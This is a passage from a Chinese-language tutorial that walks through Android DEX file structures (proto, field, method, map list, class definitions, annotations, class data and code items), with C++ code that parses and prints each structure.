\\n1 2 3 4 5 6 7 8 | typedef struct DexTypeList { u4 size; //DexTypeItem个数, 即参数个数 DexTypeItem list[size]; //DexTypeItem数组, 按从左到右的顺序保存了方法的参数 } DexTypeList; typedef struct DexTypeItem { u2 typeIdx; //指向DexTypeId列表的索引 } DexTypeItem; |
例如此处DexProtoID[1]
\\n方法声明 DexStringID[shortyIdx]=\\"VL\\"
\\n返回类型 DexStringID[DexTypeID[returnTypeIdx]]=\\"V\\"
\\n参数列表 DexStringID[DexTypeID[typeIdx]]=\\"Ljava/lang/String;\\"
\\n解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | // ProtoId functions const DexProtoId DexFile::getProtoIdByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->protoIdsSize-1)) { return pProtoIds[index]; } illegalIndex(index); } std::string DexFile::getProtoIdShorty( const DexProtoId& protoId) { return getStringIdDataByIndex(protoId.shortyIdx); } std::string DexFile::getProtoIdReturnType( const DexProtoId& protoId) { return getTypeIdDataByIndex(protoId.returnTypeIdx); } // 获取ProtoId的参数列表,解析TypeList结构 std::vector<std::string> DexFile::getProtoIdParameters( const DexProtoId& protoId) { std::vector<std::string> parameters; //无参数 if (protoId.parametersOff==0) { return parameters; } //解析TypeList结构 获取参数列表 DexTypeList* typeList=(DexTypeList*)(baseAddr+protoId.parametersOff); for ( int i=0;i<typeList->size;i++) { parameters.push_back(getTypeIdDataByIndex(typeList->list[i].typeIdx)); } return parameters; } // 解析DexProtoId结构体 返回解析后的字符串 std::string DexFile::parseProtoId( const DexProtoId& protoId) { std::string shorty=getProtoIdShorty(protoId); //c++的string类型会自动遍历const char*字符串并复制 std::string return_type = getProtoIdReturnType(protoId); std::vector<std::string> parameters=getProtoIdParameters(protoId); std::string result; result+=parseString(return_type)+ \\" (\\" ; //解析参数 for ( int i=0;i<parameters.size();i++) { result+=parseString(parameters[i]); if (i!=parameters.size()-1) //多个参数以,分隔 result+= \\",\\" ; } result+= \\")\\" ; return result; } // 通过索引解析ProtoId,返回解析后的对应字符串 std::string DexFile::getProtoIdDataByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->protoIdsSize-1)) { return parseProtoId(getProtoIdByIndex(index)); } return nullptr; } |
打印所有ProtoId
\\n1 2 3 4 5 6 7 8 | void DexFile::printProtoIds() { printf ( \\"ProtoIds:\\\\n\\" ); printf ( \\"\\\\tNums\\\\t\\\\tProtoIds\\\\n\\" ); for ( int i=0;i<pHeader->protoIdsSize;i++) { printf ( \\"\\\\t%08x\\\\t%s\\\\n\\" ,i,getProtoIdDataByIndex(i).c_str()); } printf ( \\"ProtoIds End\\\\n\\" ); } |
效果如下
\\nDexFieldID结构体指明了成员变量所在的类,类型以及变量名
\\n1 2 3 4 5 | typedef struct DexFieldId { u2 classIdx; //类的类型,指向DexTypeId列表的索引 u2 typeIdx; //字段类型,指向DexTypeId列表的索引 u4 nameIdx; //字段名,指向DexStringId列表的索引 } DexFieldId; |
寻找方法类似,out是java.lang.System类的成员,类型为java.io.PrintStream
\\n解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | // FieldId functions const DexFieldId DexFile::getFieldIdByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->fieldIdsSize-1)) { return pFieldIds[index]; } illegalIndex(index); } // 获取FieldId所在类类名 std::string DexFile::getFieldIdClass( const DexFieldId& fieldId) { return getTypeIdDataByIndex(fieldId.classIdx); } // 获取FieldId类型 std::string DexFile::getFieldIdType( const DexFieldId& fieldId) { return getTypeIdDataByIndex(fieldId.typeIdx); } // 获取FieldId名称 std::string DexFile::getFieldIdName( const DexFieldId& fieldId) { return getStringIdDataByIndex(fieldId.nameIdx); } // 解析DexFieldId结构,字段所在类,类型,名称 std::string DexFile::parseFieldId( const DexFieldId& fieldId) { std::string fieldClass=getFieldIdClass(fieldId); std::string fieldType=getFieldIdType(fieldId); std::string fieldName=getFieldIdName(fieldId); return parseString(fieldType)+ \\" \\" +parseString(fieldClass)+ \\".\\" +fieldName; } // 通过索引获取FieldId对应的字符串 std::string DexFile::getFieldIdDataByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->fieldIdsSize-1)) { return parseFieldId(getFieldIdByIndex(index)); } return nullptr; } |
打印所有ProtoId
\\n1 2 3 4 5 6 7 8 | void DexFile::printFieldIds() { printf ( \\"FieldIds:\\\\n\\" ); printf ( \\"\\\\tNums\\\\t\\\\tFieldIds\\\\n\\" ); for ( int i=0;i<pHeader->fieldIdsSize;i++) { printf ( \\"\\\\t%08x\\\\t%s\\\\n\\" ,i,getFieldIdDataByIndex(i).c_str()); } printf ( \\"FieldId End\\\\n\\" ); } |
效果如下
\\nDexMethodId结构体指明了方法所在的类、方法声明(签名)以及方法名, 即完整的方法声明
\\n1 2 3 4 5 | struct DexMethodId { u2 classIdx; /* 方法的所属的类,指向DexTypeId列表的索引 */ u2 protoIdx; /* 声明类型,指向DexProtoId列表的索引 */ u4 nameIdx; /* 方法名,指向DexStringId列表的索引 */ }; |
寻找方法
\\n对应解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | // MethodId functions const DexMethodId DexFile::getMethodIdByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->methodIdsSize-1)) { return pMethodIds[index]; } illegalIndex(index); } // 获取MethodId所在类名 std::string DexFile::getMethodIdClass( const DexMethodId& methodId) { return getTypeIdDataByIndex(methodId.classIdx); } // 获取MethodId对应方法签名 std::string DexFile::getMethodIdProto( const DexMethodId& methodId) { return getProtoIdDataByIndex(methodId.protoIdx); } // 获取MethodId对应方法名 std::string DexFile::getMethodIdName( const DexMethodId& methodId) { return getStringIdDataByIndex(methodId.nameIdx); } // 解析DexMethodId结构 std::string DexFile::parseMethodId( const DexMethodId& methodId) { std::string methodProto=getMethodIdProto(methodId); //解析class并拼接name std::string methodFullName=parseString(getMethodIdClass(methodId))+getMethodIdName(methodId); //拼接proto和class.name return methodProto.insert(methodProto.find( \' \' )+1,methodFullName); } // 通过索引获取MethodId对应字符串 std::string DexFile::getMethodIdDataByIndex(u4 index) { if (checkIndexIsLegal(index,pHeader->methodIdsSize-1)) { return parseMethodId(getMethodIdByIndex(index)); } return nullptr; } |
打印所有MethodId
\\n1 2 3 4 5 6 7 8 | void DexFile::printMethodIds() { printf ( \\"MethodIds:\\\\n\\" ); printf ( \\"\\\\tNums\\\\t\\\\tMethodIds\\\\n\\" ); for ( int i=0;i<pHeader->methodIdsSize;i++) { printf ( \\"\\\\t%08x\\\\t%s\\\\n\\" ,i,getMethodIdDataByIndex(i).c_str()); } printf ( \\"MethodIds End\\\\n\\" ); } |
效果如下
\\nDalvik虚拟机解析dex文件后,映射为DexMapList的数据结构, 该结构由DexHeader.mapOff指明位置
\\n1 2 3 4 5 6 7 8 9 10 11 | struct DexMapList { u4 size; /* DexMapItem个数 */ DexMapItem list[1]; /* DexMapItem数组 */ }; struct DexMapItem { u2 type; /* KDexType开头的类型 */ u2 unused; /* 未使用,用于字节对齐 */ u4 size; /* 类型的个数 */ u4 offset; /* 类型数据的文件偏移 */ }; |
type是枚举常量,用于判断类型
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | /* map item type codes */ enum { kDexTypeHeaderItem = 0x0000, kDexTypeStringIdItem = 0x0001, kDexTypeTypeIdItem = 0x0002, kDexTypeProtoIdItem = 0x0003, kDexTypeFieldIdItem = 0x0004, kDexTypeMethodIdItem = 0x0005, kDexTypeClassDefItem = 0x0006, kDexTypeCallSiteIdItem = 0x0007, kDexTypeMethodHandleItem = 0x0008, kDexTypeMapList = 0x1000, kDexTypeTypeList = 0x1001, kDexTypeAnnotationSetRefList = 0x1002, kDexTypeAnnotationSetItem = 0x1003, kDexTypeClassDataItem = 0x2000, kDexTypeCodeItem = 0x2001, kDexTypeStringDataItem = 0x2002, kDexTypeDebugInfoItem = 0x2003, kDexTypeAnnotationItem = 0x2004, kDexTypeEncodedArrayItem = 0x2005, kDexTypeAnnotationsDirectoryItem = 0x2006, }; |
size指定了类型个数,在dex文件中连续存放, offset是起始地址文件偏移
\\n例如DexMapList[1] type=string_id_item, size=0xF, offset=0x70
\\n和DexStringID表正好对应,起始地址,表项数
\\n解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | void DexFile::printMapList() { static std::map< int , std::string> MapItemTypeToStringMap = { {kDexTypeHeaderItem, \\"HeaderItem\\" }, {kDexTypeStringIdItem, \\"StringIdItem\\" }, {kDexTypeTypeIdItem, \\"TypeIdItem\\" }, {kDexTypeProtoIdItem, \\"ProtoIdItem\\" }, {kDexTypeFieldIdItem, \\"FieldIdItem\\" }, {kDexTypeMethodIdItem, \\"MethodIdItem\\" }, {kDexTypeClassDefItem, \\"ClassDefItem\\" }, {kDexTypeMapList, \\"MapList\\" }, {kDexTypeTypeList, \\"TypeList\\" }, {kDexTypeAnnotationSetRefList, \\"AnnotationSetRefList\\" }, {kDexTypeAnnotationSetItem, \\"AnnotationSetItem\\" }, {kDexTypeClassDataItem, \\"ClassDataItem\\" }, {kDexTypeCodeItem, \\"CodeItem\\" }, {kDexTypeStringDataItem, \\"StringDataItem\\" }, {kDexTypeDebugInfoItem, \\"DebugInfoItem\\" }, {kDexTypeAnnotationItem, \\"AnnotationItem\\" }, {kDexTypeEncodedArrayItem, \\"EncodedArrayItem\\" }, {kDexTypeAnnotationsDirectoryItem, \\"AnnotationsDirectoryItem\\" } }; DexMapList* pMapList=(DexMapList*)(baseAddr+pHeader->mapOff); DexMapItem* pMapItems=pMapList->list; printf ( \\"MapList has %d items, start at: %#x\\\\n\\" ,pMapList->size,pHeader->mapOff); printf ( \\"Nums\\\\t\\\\tType\\\\t\\\\t\\\\t\\\\tItemNums\\\\tStartOff\\\\n\\" ); for ( int i=0;i<pMapList->size;i++) { // 解析MapType auto it=MapItemTypeToStringMap.find(pMapItems[i].type); std::string mapType; if (it!= MapItemTypeToStringMap.end()) mapType=it->second; else mapType= \\"Unknown Type\\" ; printf ( \\"%08d\\\\t%-24s\\\\t%08d\\\\t%08x\\\\n\\" ,i+1,mapType.c_str(),pMapItems[i].size,pMapItems[i].offset); } printf ( \\"MapList End\\\\n\\" ); } |
打印效果如下
\\n该结构较为复杂(这部分相关代码比前文所有结构代码之和都大)
\\n有了对Dex文件的基本了解和上面各个结构的基础,才能解析该结构
\\nDexClassDef保存了类的相关信息,定义如下
\\n1 2 3 4 5 6 7 8 9 10 | struct DexClassDef { u4 classIdx; /* 类的类型(即全限定类名),指向DexTypeId列表的索引 */ u4 accessFlags; /* 访问标志,以ACC_开头的枚举值,如ACC_PUBLIC(0x1)、ACC_PRIVATE(0x2)*/ u4 superclassIdx; /* 父类类型,指向DexTypeId列表的索引*/ u4 interfacesOff; /* 接口,指向DexTypeList的文件偏移,如果类中不含有接口声明和实现,则值为0 */ u4 sourceFileIdx; /* 类所在源文件的文件名,指向DexStringId列表的索引 */ u4 annotationsOff; /* 注解,指向DexAnnotationsDirectoryItem结构体,根据类型不同会有注解类、注解方法、注解字段与注解参数,如果类中没有注解,则值为0 */ u4 classDataOff; /* 指向DexClassData结构的文件偏移,DexClassData结构是类的数据部分 */ u4 staticValuesOff; /* 指向DexEncodedArray结构的文件偏移,记录类中的静态数据, 没有则为0 */ }; |
解析代码如下
\\n将ClassDef结构划分为4部分解析: BasicInfo, Annotations, ClassData, StaticValues, 从classIdx到sourceFileIx属于BasicInfo
\\n每部分使用单独的打印函数进行处理
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | // 打印所有ClassDef信息 void DexFile::printClassDefs() { printf ( \\"ClassDefs:\\\\n\\" ); for ( int i=0;i<pHeader->classDefsSize;i++) { DexClassDef classDef=pClassDefs[i]; // 1.Basic info printf ( \\"=========================ClassDef %08d=========================\\\\n\\" ,i+1); printClassDefBasicInfo(classDef); // 2. Annotations if (classDef.annotationsOff) { printf ( \\"Annotations:\\\\n\\" ); printClassDefAnnotations(*(DexAnnotationsDirectoryItem*)(baseAddr+classDef.annotationsOff)); // 值传递只保留前16字节导致内存访问错,需要引用传递 // DexAnnotationsDirectoryItem annotations_directory_item=*(DexAnnotationsDirectoryItem*)(baseAddr+classDef.annotationsOff); // parseClassDefAnnotations(annotations_directory_item); } else printf ( \\"No Annotations\\\\n\\" ); // 3. ClassData if (classDef.classDataOff) { printClassDefClassData(*(DexClassData*)(baseAddr+classDef.classDataOff)); } else printf ( \\"No ClassData\\\\n\\" ); // 4. StaticValues if (classDef.staticValuesOff) { printClassDefStaticValues(*(DexEncodedArray*)(baseAddr+classDef.staticValuesOff)); } else printf ( \\"No StaticValues\\\\n\\" ); printf ( \\"===================================================================\\\\n\\" ); } printf ( \\"ClassDefs End\\\\n\\" ); } |
代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | // ClassDef Basic Info functions // 获取class std::string DexFile::getClassDefClass(DexClassDef& classDef) { return parseString(getTypeIdDataByIndex(classDef.classIdx)); } // 解析权限修饰符 std::string DexFile::parseAccessFlags(u4 accessFlags) { static std::map< int , std::string> AccessFlagMap = { {ACC_PUBLIC, \\"public\\" }, {ACC_PRIVATE, \\"private\\" }, {ACC_PROTECTED, \\"protected\\" }, {ACC_STATIC, \\"static\\" }, {ACC_FINAL, \\"final\\" }, {ACC_SYNCHRONIZED, \\"synchronized\\" }, {ACC_SUPER, \\"super\\" }, {ACC_VOLATILE, \\"volatile\\" }, {ACC_BRIDGE, \\"bridge\\" }, {ACC_TRANSIENT, \\"transient\\" }, {ACC_VARARGS, \\"varargs\\" }, {ACC_NATIVE, \\"native\\" }, {ACC_INTERFACE, \\"interface\\" }, {ACC_ABSTRACT, \\"abstract\\" }, {ACC_STRICT, \\"strict\\" }, {ACC_SYNTHETIC, \\"synthetic\\" }, {ACC_ANNOTATION, \\"annotation\\" }, {ACC_ENUM, \\"enum\\" }, {ACC_CONSTRUCTOR, \\"constructor\\" }, {ACC_DECLARED_SYNCHRONIZED, \\"declared_synchronized\\" } }; std::string result; for ( int i=0;i<32;i++) { if (accessFlags & (1 << i)) { result+=AccessFlagMap[1 << i]+ \\" \\" ; //遍历添加权限控制属性 } } if (!result.empty()) result=result.substr(0,result.length()-1); //去除末尾多余空格 return result; } // 获取父类 std::string DexFile::getClassDefSuperClass(DexClassDef& classDef) { return parseString(getTypeIdDataByIndex(classDef.superclassIdx)); } // 获取接口列表 std::vector<std::string> DexFile::getClassDefInterfaces(DexClassDef& classDef) { std::vector<std::string> interfaces; //无参数 if (classDef.interfacesOff==0) { return interfaces; } DexTypeList* typeList=(DexTypeList*)(baseAddr+classDef.interfacesOff); for ( int i=0;i<typeList->size;i++) { interfaces.push_back(getTypeIdDataByIndex(typeList->list[i].typeIdx)); } return interfaces; } // 获取源文件 std::string DexFile::getClassDefSourceFile(DexClassDef& classDef) { return getStringIdDataByIndex(classDef.sourceFileIdx); } // 打印ClassDef结构的基本信息: 类名 父类 源文件名 接口 void DexFile::printClassDefBasicInfo(DexClassDef& classDef) { std::string className=getClassDefClass(classDef); std::string accessFlags=parseAccessFlags(classDef.accessFlags); std::string superClass=getClassDefSuperClass(classDef); std::vector<std::string> interfaces=getClassDefInterfaces(classDef); std::string sourceFile=getClassDefSourceFile(classDef); // Basic info, class super_class source_file interfaces printf ( \\"Class:\\\\t\\\\t%s\\\\n\\" ,combineAccFlagsAndName(accessFlags,className).c_str()); printf ( \\"Super Class:\\\\t%s\\\\n\\" ,superClass.c_str()); printf ( \\"Source File:\\\\t%s\\\\n\\" ,sourceFile.c_str()); // print interfaces if have it if (!interfaces.empty()) { printf ( \\"Interfaces:\\\\nNums\\\\t\\\\tInterface\\\\n\\" ); for ( int j=0;j<interfaces.size();j++) { printf ( \\"%08d\\\\t%s\\\\n\\" ,j+1,parseString(interfaces[j]).c_str()); } } else { printf ( \\"No Interfaces\\\\n\\" ); } } |
效果如下
\\nannotationsOff指向该结构,用于指向类的所有注解,定义如下
\\n1 2 3 4 5 6 7 8 9 10 | struct DexAnnotationsDirectoryItem { u4 classAnnotationsOff; /* 类注解,值为DexAnnotationSetItem的文件偏移量, 为0表示不存在*/ u4 fieldsSize; /* 域注解,值为DexFieldAnnotationsItem的数量 */ u4 methodsSize; /* 方法注解,值为DexMethodAnnotationsItem的数量 */ u4 parametersSize; /* 参数注解。值为DexParameterAnnotationsItem的数量 */ /* 后3结构中存在1个或多个,则在后面追加以下数据,并按顺序排列 */ /* followed by DexFieldAnnotationsItem[fieldsSize] */ /* followed by DexMethodAnnotationsItem[methodsSize] */ /* followed by DexParameterAnnotationsItem[parametersSize] */ }; |
printClassDefAnnotations函数用于打印该结构,根据不同注解类型调用不同函数解析
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | // 打印ClassDef的所有Annotations void DexFile::printClassDefAnnotations(DexAnnotationsDirectoryItem& annotationsDirectory) { //1. 类注解 if (annotationsDirectory.classAnnotationsOff) printClassAnnotations(*(DexAnnotationSetItem*)(baseAddr+annotationsDirectory.classAnnotationsOff)); else printf ( \\"No Class Annotations\\\\n\\\\n\\" ); //2. 域(字段)注解 if (annotationsDirectory.fieldsSize) { printFieldAnnotations( (DexFieldAnnotationsItem*)(( uintptr_t )&annotationsDirectory + sizeof (DexAnnotationsDirectoryItem)) ,annotationsDirectory.fieldsSize); } else printf ( \\"No Field Annotations\\\\n\\\\n\\" ); //3. 方法注解 if (annotationsDirectory.methodsSize) { printMethodAnnotations( (DexMethodAnnotationsItem*) (( uintptr_t )&annotationsDirectory + sizeof (DexAnnotationsDirectoryItem) + sizeof (DexFieldAnnotationsItem)*annotationsDirectory.fieldsSize) ,annotationsDirectory.methodsSize); } else { printf ( \\"No Method Annotations\\\\n\\\\n\\" ); } //4. 参数注解 if (annotationsDirectory.parametersSize) { printParameterAnnotations( (DexParameterAnnotationsItem*)(( uintptr_t )&annotationsDirectory + sizeof (DexAnnotationsDirectoryItem) + sizeof (DexFieldAnnotationsItem)*annotationsDirectory.fieldsSize + sizeof (DexMethodAnnotationsItem)*annotationsDirectory.methodsSize) ,annotationsDirectory.parametersSize); } else { printf ( \\"No Parameter Annotations\\\\n\\\\n\\" ); } } |
1 2 3 4 5 6 7 8 9 | struct DexAnnotationSetItem { u4 size; /* DexAnnotationItem的数量 */ u4 entries[1]; /* entries数组,存储DexAnnotationItem的文件偏移量 */ }; struct DexAnnotationItem { u1 visibility; /* 此注释的预期可见性 */ u1 annotation[1]; /* encoded_annotation格式的注释内容 */ }; |
visibility表示注释的可见性,主要有以下几种情况:
\\n名称 | \\n值 | \\n说明 | \\n
---|---|---|
VISIBILITY_BUILD | \\n0x00 | \\n预计仅在构建(例如,在编译其他代码期间)时可见 | \\n
VISIBILITY_RUNTIME | \\n0x01 | \\n预计在运行时可见 | \\n
VISIBILITY_SYSTEM | \\n0x02 | \\n预计在运行时可见,但仅对基本系统(而不是常规用户代码)可见 | \\n
annotation是采用encoded_annotation格式的注释内容, encoded_annotation格式如下:
\\n名称 | \\n格式 | \\n说明 | \\n
---|---|---|
type_idx | \\nuleb128 | \\n注解的类型,指向DexTypeId列表的索引值 | \\n
size | \\nuleb128 | \\n此注解中 name-value 映射的数量 | \\n
elements | \\nannotation_element[size] | \\n注解的元素,直接以内嵌形式(不作为偏移量)表示。元素必须按 string_id 索引以升序进行排序。 | \\n
annotation_element元素格式如下:
\\n名称 | \\n格式 | \\n说明 | \\n
---|---|---|
name_idx | \\nuleb128 | \\n元素名称,指向DexStringId列表的索引值 | \\n
value | \\nencoded_value | \\n元素值 | \\n
解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | // Annotation functions // 将权限修饰符和方法/类名组合 std::string DexFile::combineAccFlagsAndName(std::string accFlags,std::string name) { std::string result; if (accFlags.empty()) result=name; //无权限控制关键字,完整名即可 else result=accFlags+ \\" \\" +name; return result; } // 打印DexAnnotationItem结构信息 void DexFile::printAnnotation(DexAnnotationItem& annotationItem) { std::string visibility; //注解可见性 switch (annotationItem.visibility) { case kDexVisibilityBuild: visibility= \\"build\\" ; break ; case kDexVisibilityRuntime:visibility= \\"runtime\\" ; break ; case kDexVisibilitySystem:visibility= \\"system\\" ; break ; default :visibility= \\"unknown\\" ; } // 解析encoded_annotation u1* pAnnotation=annotationItem.annotation; size_t typeSize=0,sizeSize=0; u4 encoded_annotation_type_idx=myReadUnsignedLeb128(pAnnotation,&typeSize); //注解类型偏移 u4 encoded_annotation_size=myReadUnsignedLeb128(pAnnotation+typeSize,&sizeSize); //注解name-value映射数 std::string encoded_annotation_type=parseString(getTypeIdDataByIndex(encoded_annotation_type_idx)); //Size Visibility Type printf ( \\"%08d\\\\t%s\\\\t\\\\t%s\\\\n\\" ,encoded_annotation_size,visibility.c_str(),encoded_annotation_type.c_str()); // 解析encoded_annotation.elements u1* pAnnotationElements=pAnnotation+typeSize+sizeSize; for ( int i=0;i<encoded_annotation_size;i++) { size_t name_idx_size=0; // name_idx std::string name=parseString(getStringIdDataByIndex(myReadUnsignedLeb128(pAnnotationElements,&name_idx_size))); size_t valueSize=0; std::string value=parseString(parseEncodedValue(pAnnotationElements+name_idx_size,valueSize)); printf ( \\"\\\\t%s=%s\\\\n\\" ,name.c_str(),value.c_str()); } } // 打印DexAnnotationSetItem信息 即多个DexAnnotationItem结构 void DexFile::printAnnotationSet(DexAnnotationSetItem& annotationSet) { printf ( \\"Size\\\\t\\\\tVisibility\\\\tType\\\\n\\" ); //AnnotationSetItem.entries[] 数组保存AnnotationItem结构的文件偏移值 for ( int j=0;j<annotationSet.size;j++) { printAnnotation(*(DexAnnotationItem*)(annotationSet.entries[j]+baseAddr)); } } // 打印所有类注解 DexAnnotationSetItem void DexFile::printClassAnnotations(DexAnnotationSetItem& classAnnotations) { printf ( \\"Class Annotations start at %#llx, contains %d entries\\\\n\\" ,( uintptr_t )classAnnotations.entries-( uintptr_t )baseAddr,classAnnotations.size); printAnnotationSet(classAnnotations); printf ( \\"Class Annotations End\\\\n\\\\n\\" ); } |
效果如下, 打印类注解及其包含的encoded_element内容
\\n定义如下
\\n1 2 3 4 | struct DexFieldAnnotationsItem { u4 fieldIdx; /* 指向DexFieldId列表的索引值 */ u4 annotationsOff; /* DexAnnotationSetItem的文件偏移量 */ }; |
由于指向DexAnnotationSetItem结构,故解析方式和类注解类似
\\n1 2 3 4 5 6 7 8 9 10 | // 打印所有域注解 DexFieldAnnotationsItem void DexFile::printFieldAnnotations(DexFieldAnnotationsItem* pFieldAnnotations,u4 fieldsNum) { printf ( \\"Field Annotations start at %#llx, contains %d entries\\\\n\\" ,( uintptr_t )pFieldAnnotations-( uintptr_t )baseAddr,fieldsNum); for ( int i=0;i<fieldsNum;i++) { std::string field=getFieldIdDataByIndex(pFieldAnnotations[i].fieldIdx); printf ( \\"Field%d:\\\\t%s\\\\n\\" ,i+1,field.c_str()); printAnnotationSet(*(DexAnnotationSetItem*)(baseAddr+pFieldAnnotations[i].annotationsOff)); } printf ( \\"Field Annotations End\\\\n\\\\n\\" ); } |
效果如下
\\n定义如下
\\n1 2 3 4 5 6 7 | /* * Direct-mapped \\"method_annotations_item\\". */ struct DexMethodAnnotationsItem { u4 methodIdx; /* 指向DexMethodId列表的索引值 */ u4 annotationsOff; /* DexAnnotationSetItem的文件偏移量 */ }; |
解析方法类似
\\n1 2 3 4 5 6 7 8 9 10 | // 打印方法注解 DexMethodAnnotationsItem void DexFile::printMethodAnnotations(DexMethodAnnotationsItem* pMethodAnnotations,u4 methodsNum) { printf ( \\"Method Annotations start at %#llx, contains %d entries\\\\n\\" ,( uintptr_t ) pMethodAnnotations-( uintptr_t )baseAddr,methodsNum); for ( int i=0;i<methodsNum;i++) { std::string method=getMethodIdDataByIndex(pMethodAnnotations[i].methodIdx); printf ( \\"Method%d:\\\\t%s\\\\n\\" ,i+1,method.c_str()); printAnnotationSet(*(DexAnnotationSetItem*)(baseAddr+ pMethodAnnotations[i].annotationsOff)); } printf ( \\"Method Annotations End\\\\n\\\\n\\" ); } |
效果如下
\\n定义如下
\\n1 2 3 4 5 6 7 | /* * Direct-mapped \\"parameter_annotations_item\\". */ struct DexParameterAnnotationsItem { u4 methodIdx; /* 指向DexMethodId列表的索引值 */ u4 annotationsOff; /* DexAnotationSetRefList的文件偏移量 */ }; |
DexAnotationSetRefList结构体定义如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /* * Direct-mapped \\"annotation_set_ref_list\\". */ struct DexAnnotationSetRefList { u4 size; /* 列表中元素个数,即DexAnnotationSetRefItem的个数 */ DexAnnotationSetRefItem list[1]; /* 第一个DexAnnotationSetRefItem的内容,非偏移量 */ }; /* * Direct-mapped \\"annotation_set_ref_item\\". */ struct DexAnnotationSetRefItem { u4 annotationsOff; /* DexAnnotationSetItem的偏移量 */ }; |
解析方法略有不同,代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | // 打印DexAnnotationSetRefList void DexFile::printAnnotationSetRefList(DexAnnotationSetRefList& annotationSetRefList) { printf ( \\"AnnotationSetRefList contains %d AnnotationSetItems\\\\n\\" ,annotationSetRefList.size); // AnnotationSetRefList.list是AnnotationSetRefItem数组 DexAnnotationSetRefItem* pAnnotationSetRefItem=annotationSetRefList.list; for ( int i=0;i<annotationSetRefList.size;i++) { if (!pAnnotationSetRefItem[i].annotationsOff) { printf ( \\"No This Annotation Set!\\\\n\\" ); //可能存在空项 continue ; } //AnnotationSetRefItem.annotationsOff指向AnnotationSetItem结构 printAnnotationSet(*(DexAnnotationSetItem*)(baseAddr+pAnnotationSetRefItem[i].annotationsOff)); } printf ( \\"AnnotationSetRefList End\\\\n\\" ); } // 打印参数注解 DexParameterAnnotationsItem void DexFile::printParameterAnnotations(DexParameterAnnotationsItem* pParameterAnnotations,u4 parametersNum) { printf ( \\"Parameter Annotations start at %#llx, contains %d entries\\\\n\\" ,( uintptr_t ) pParameterAnnotations-( uintptr_t )baseAddr,parametersNum); for ( int i=0;i<parametersNum;i++) { std::string method=getMethodIdDataByIndex(pParameterAnnotations[i].methodIdx); printf ( \\"Method%d:\\\\t%s\\\\n\\" ,i+1,method.c_str()); // PatameterAnnotationsItem.annotationsOff指向DexAnnotationSetRefList结构,和其他三个不同 printAnnotationSetRefList(*(DexAnnotationSetRefList*)(baseAddr+pParameterAnnotations[i].annotationsOff)); printf ( \\"\\\\n\\" ); } printf ( \\"Parameter Annotations End\\\\n\\\\n\\" ); } |
效果如下
\\n定义在http://androidxref.com/2.3.7/xref/dalvik/libdex/DexClass.h中
\\n注意: DexClass.h定义的结构体中,u4类型实际类型为uleb128
\\n1 2 3 4 5 6 7 8 9 10 | /* expanded form of class_data_item. Note: If a particular item is * absent (e.g., no static fields), then the corresponding pointer * is set to NULL. */ typedef struct DexClassData { DexClassDataHeader header; DexField* staticFields; //下面4个连续数组,如果对应长度存在才有效 DexField* instanceFields; //按顺序排列 DexMethod* directMethods; DexMethod* virtualMethods; } DexClassData; |
内部的结构体定义如下:
\\n注意u4均为uleb128,所以这些结构大小不固定,无法通过sizeof计算,需要手动计算
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | /* expanded form of a class_data_item header */ typedef struct DexClassDataHeader { u4 staticFieldsSize; u4 instanceFieldsSize; u4 directMethodsSize; u4 virtualMethodsSize; } DexClassDataHeader; /* expanded form of encoded_field */ typedef struct DexField { u4 fieldIdx; /* index to a field_id_item */ u4 accessFlags; } DexField; /* expanded form of encoded_method */ typedef struct DexMethod { u4 methodIdx; /* index to a method_id_item */ u4 accessFlags; u4 codeOff; /* file offset to a code_item */ } DexMethod; |
其中codeOff指向DexCode结构,定义如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | /* * Direct-mapped \\"code_item\\". * * The \\"catches\\" table is used when throwing an exception, * \\"debugInfo\\" is used when displaying an exception stack trace or * debugging. An offset of zero indicates that there are no entries. */ struct DexCode { u2 registersSize; /* 使用的寄存器个数 */ u2 insSize; /* 参数个数 */ u2 outsSize; /* 调用其他方法时使用的寄存器个数 */ u2 triesSize; /* try_item的个数 */ u4 debugInfoOff; /* 指向调试信息的文件偏移量 */ u4 insnsSize; /* 指令集个数,以2字节为单位 */ u2 insns[1]; /* 指令集,insns 数组中的代码格式由随附文档 Dalvik 字节码指定 */ /* 如果 triesSize 不为零,下面存在*/ /* 两字节填充,使下面的try_item实现4字节对齐 */ /* followed by try_item[triesSize],用于表示代码中捕获异常的位置以及如何对异常进行处理的数组 */ /* followed by uleb128 handlersSize */ /* followed by catch_handler_item[handlersSize],用于表示“捕获类型列表和关联处理程序地址”的列表的字节 */ }; |
解析代码如下,
